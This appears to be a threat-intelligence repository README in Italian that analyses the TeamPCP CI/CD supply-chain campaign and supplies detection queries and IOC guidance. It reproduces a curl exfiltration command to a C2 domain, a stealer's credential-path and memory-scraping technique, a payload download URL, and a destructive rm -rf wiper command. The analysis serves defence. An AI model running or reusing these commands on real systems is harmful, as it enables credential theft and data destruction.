Attacco alla Supply Chain di TeamPCP: Guida Tecnica e al Rilevamento

CVE-2026-33634 (CVSS 9.4) — L'attacco alla supply chain CI/CD più impattante del 2026 finora.

Tra il 19 e il 25 marzo 2026, l'attore della minaccia TeamPCP (monitorato anche come DeadCatx3, PCPcat, ShellForce, CanisterWorm) ha eseguito una compromissione a catena della supply chain in cinque ecosistemi: GitHub Actions, Docker Hub, OpenVSX, npm e PyPI. Partendo da un singolo PAT GitHub non ruotato completamente, la campagna si è diffusa in due importanti vendor di sicurezza open-source (Aqua Security e Checkmarx), quattro repository GitHub Actions, due estensioni VS Code, registry di container e oltre 66 pacchetti npm.

Questo repository fornisce una completa analisi tecnica, liste IOC curate (testate per falsi positivi) e query di rilevamento pronte per la distribuzione in Microsoft Defender XDR.

Sommario

• Cronologia dell'Attacco
• Analisi della Kill Chain
• Artifact Compromessi
• Meccaniche del Credential Stealer
• CanisterWorm — Propagazione npm
• Componente Wiper Mirato all'Iran
• Rilevamento e Hunting
• Lista IOC
• Note sul Filtraggio dei Falsi Positivi
• Mapping MITRE ATT&CK
• Riferimenti

Cronologia dell'Attacco

Analisi della Kill Chain

Fase 1 — Accesso Iniziale

Causa principale: rotazione incompleta delle credenziali dopo la violazione del 28 febbraio. Il PAT dell'account di servizio aqua-bot non è stato revocato oppure l'attaccante ha osservato il nuovo token durante la rotazione.

TeamPCP ha usato questo accesso mantenuto per force-pushare i tag di versione verso commit malevoli impostori. Ogni commit contraffatto clonava i metadati dell'originale (autore, timestamp, messaggio) mentre sostituiva lo script di entry point con il payload stealer. La pagina di rilascio di GitHub non mostrava alcun cambiamento visibile — persino il badge "Immutable" veniva visualizzato normalmente.

Fase 2 — Esecuzione del Payload

Lo stealer — un entrypoint.sh di 204 righe che si auto-identifica come "TeamPCP Cloud stealer" — esegue un attacco in tre fasi:

Fase 1: Scraping della Memoria

Legge /proc/<pid>/mem dai processi Runner.Worker
Cerca il pattern: {"value":"<secret>","isSecret":true}
Estrae PAT GitHub, credenziali cloud, chiavi API dalla memoria del runner

Fase 2: Scansione delle Credenziali nel Filesystem

Scansiona oltre 50 percorsi sensibili tra cui:

• Chiavi SSH (~/.ssh/*)
• Credenziali AWS/GCP/Azure
• Token e config Kubernetes
• Credenziali dei registry Docker
• File di stato Terraform
• Wallet crypto (Solana, Bitcoin, Ethereum, Cardano)
• Token npm (~/.npmrc)
• Cronologie della shell
• File .env

Fase 3: Esfiltrazione Cifrata

• Raggruppa tutti i dati raccolti in tpcp.tar.gz
• Cifra con AES-256-CBC (chiave di sessione casuale) + RSA-4096/RSA-OAEP (chiave pubblica dell'attaccante)
• Esfiltra tramite curl POST verso domini typosquat specifici del vendor
• Fallback: crea un repo tpcp-docs o docs-tpcp nell'account GitHub della vittima usando il GITHUB_TOKEN rubato

Fase 3 — Persistenza

Su sistemi Linux non-CI, il malware:

1. Crea la directory nascosta ~/.config/sysmon/
2. Rilascia una backdoor Python (sysmon.py)
3. Installa un servizio systemd utente che interroga il C2 ogni 50 minuti
4. Kill switch: se la risposta del C2 contiene "youtube", la backdoor salta l'esecuzione

Fase 4 — Movimento Laterale (Onda Checkmarx)

Le credenziali rubate durante l'onda Trivy hanno permesso la compromissione dell'ecosistema Checkmarx. Ogni nuova onda utilizzava un dominio C2 typosquat diverso per eludere le blocklist dell'onda precedente:

Artifact Compromessi

GitHub Actions

Estensioni OpenVSX (VS Code Marketplace NON coinvolto)

Entrambe le estensioni sono state pubblicate a 12 secondi di distanza alle 12:53 UTC del 23 marzo tramite l'account ast-phoenix. All'attivazione, environmentAuthChecker.js verifica la presenza di credenziali di provider cloud, quindi scarica uno stealer di seconda fase da checkmarx[.]zone/static/checkmarx-util-1.0.4.tgz.

Immagini Container

PyPI

Payload base64 triplamente annidato con toolkit di movimento laterale K8s. Persistenza tramite sysmon.service che interroga checkmarx.zone/raw.

Meccaniche del Credential Stealer

Il pattern di esfiltrazione è identico in tutte le onde:

curl -s -o /dev/null -w %{http_code} -X POST https://<c2_domain> \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @/tmp/tmp.XXXXXXXXXX/tpcp.tar.gz

La strategia dei domini typosquat è deliberata: un analista che esamina i log CI/CD vede traffico curl verso quello che sembra il dominio del vendor dell'azione stessa. Senza un confronto attento, scan.aquasecurtiy.org passa per aquasecurity.org in una revisione rapida dei log.

Solo l'attaccante può decifrare i dati rubati — la chiave di sessione AES è cifrata RSA-OAEP con la sua chiave pubblica.

CanisterWorm — Propagazione npm

Entro 24 ore dalla compromissione di Trivy, i token npm rubati hanno permesso la diffusione di un worm auto-propagante attraverso oltre 66 pacchetti (141 artifact malevoli).

Cosa rende notevole CanisterWorm:

• Primo malware npm documentato che usa un canister ICP (Internet Computer Protocol) blockchain come C2
• Il canister su tdtqy-oyaaa-aaaae-af2dq-cai è uno smart contract decentralizzato — nessun singolo punto di rimozione
• Espone 3 metodi: get_latest_link, http_request, update_link
• L'attaccante può ruotare i payload su tutte le macchine infette senza ripubblicare alcun pacchetto npm
• Kill switch: se il canister restituisce un URL contenente youtube.com, la backdoor dorme
• Persistenza: servizio systemd utente camuffato da pgmon (monitoraggio PostgreSQL)
• Intervallo di polling: ogni 50 minuti
• Binario rilasciato in /tmp/pglog, stato tracciato in /tmp/.pg_state

Scope compromessi noti: @emilgroup/*, @teale.io/* (variante auto-propagante in @teale.io/eslint-config v1.8.11, v1.8.12)

Componente Wiper Mirato all'Iran

Una variante distruttiva prende di mira specificamente i sistemi iraniani:

1. Kubernetes + Iran: distribuisce DaemonSet privilegiati su ogni nodo (incluso il control plane), cancella e forza il riavvio tramite il container chiamato kamikaze
2. Kubernetes + non-Iran: installa la backdoor CanisterWorm come servizio systemd
3. Non-K8s + Iran: esegue rm -rf / --no-preserve-root con sudo
4. Non-K8s + non-Iran: nessuna azione

Il rilevamento avviene tramite controlli del fuso orario e delle impostazioni locali del sistema.

Rilevamento e Hunting

Microsoft Defender XDR — Regola di Rilevamento Personalizzata

Nome regola: TeamPCP Supply Chain C2 and Malware IOC Match
Gravità: Alta
Categoria: CommandAndControl
Frequenza: Ogni 1 ora

Consulta detection/defender_xdr_query.kql per la query KQL completa.

La query copre:

• 7 hash SHA256 di file (varianti stealer + CanisterWorm)
• 2 indirizzi IP C2
• 4 domini C2 (typosquat + canister ICP)
• 4 URL C2 specifici
• Controlli di risoluzione DNS

Importazione Indicatori Defender TI

È fornito un CSV pronto per l'importazione in iocs/FINAL_TeamPCP_IOC_25Mar2026.csv. Questo file è stato testato per falsi positivi in un ambiente enterprise di produzione.

Altre Piattaforme

Lista IOC

Hash File (SHA256)

IOC di Rete

Percorsi URL C2

Artifact di Persistenza

Repo GitHub di Esfiltrazione (Fallback)

Note sul Filtraggio dei Falsi Positivi

Le query di rilevamento e il CSV IOC in questo repo sono stati testati in un ambiente di produzione con:

• Ansible AWX/Tower con le collection community.general e kubernetes.core
• Claude Code e GitHub Copilot su workstation di sviluppo macOS
• Agente FortiMonitor (polling IMDS)
• Oracle AHF su istanze OCI (polling IMDS)
• Varie toolchain di sviluppo Python/Node.js

I seguenti IOC sono stati rimossi a causa di falsi positivi confermati:

Mapping MITRE ATT&CK

Riferimenti

Licenza

MIT — Usa, condividi, adatta liberamente. Attribuzione apprezzata.

Autore: Ugur Can Ates — SOC Team Lead & Senior Security Engineer
Ultimo aggiornamento: 25 marzo 2026